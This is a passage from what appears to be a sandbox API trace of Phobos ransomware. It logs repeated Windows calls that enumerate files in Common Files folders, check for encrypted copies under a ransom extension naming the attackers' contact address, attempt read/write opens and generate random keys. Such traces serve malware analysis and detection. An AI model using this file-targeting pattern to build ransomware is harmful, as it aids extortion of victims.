"c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.855] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.856] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2644) returned 1 [0163.856] CloseHandle (hObject=0x2dc) returned 1 [0163.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml")) returned 0x20 [0163.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.856] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.857] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2542) returned 1 [0163.857] CloseHandle (hObject=0x2dc) returned 1 [0163.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml")) returned 0x20 [0163.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.857] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.858] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2568) returned 1 [0163.858] CloseHandle (hObject=0x2dc) returned 1 [0163.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0163.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.858] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.859] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2596) returned 1 [0163.859] CloseHandle (hObject=0x2dc) returned 1 [0163.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20 [0163.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.859] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.859] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.859] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2520) returned 1 [0163.859] CloseHandle (hObject=0x2dc) returned 1 [0163.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0163.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.860] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.860] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=2720) returned 1 [0163.860] CloseHandle (hObject=0x2dc) returned 1 [0163.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20 [0163.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.861] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.862] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=255) returned 1 [0163.862] CloseHandle (hObject=0x2dc) returned 1 [0163.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0163.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.862] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.863] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=1074) returned 1 [0163.863] CloseHandle (hObject=0x2dc) returned 1 [0163.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0163.863] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.864] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.864] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=231) returned 1 [0163.864] CloseHandle (hObject=0x2dc) returned 1 [0163.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0163.864] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.864] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.865] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.865] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.865] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=23871) returned 1 [0163.865] CloseHandle (hObject=0x2dc) returned 1 [0163.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0163.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.866] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.866] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=237) returned 1 [0163.866] CloseHandle (hObject=0x2dc) returned 1 [0163.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0163.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.866] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.867] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.868] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=6406) returned 1 [0163.868] CloseHandle (hObject=0x2dc) returned 1 [0163.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0163.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.868] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.869] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.869] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=235) returned 1 [0163.869] CloseHandle (hObject=0x2dc) returned 1 [0163.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0163.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.869] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.870] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.870] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=4222) returned 1 [0163.870] CloseHandle (hObject=0x2dc) returned 1 [0163.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0163.870] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.870] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.870] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.871] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=237) returned 1 [0163.871] CloseHandle (hObject=0x2dc) returned 1 [0163.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm")) returned 0x20 [0163.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Orange Circles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.871] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.871] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.872] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=6381) returned 1 [0163.872] CloseHandle (hObject=0x2dc) returned 1 [0163.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0163.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.872] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: pbBuffer=0x2e5fa08) returned 1 [0163.872] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0163.873] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e5f9a8 | out: lpFileSize=0x2e5f9a8*=232) returned 1 [0163.873] CloseHandle (hObject=0x2dc) returned 1 [0163.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0163.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0163.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.874] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2e5fa08 | out: 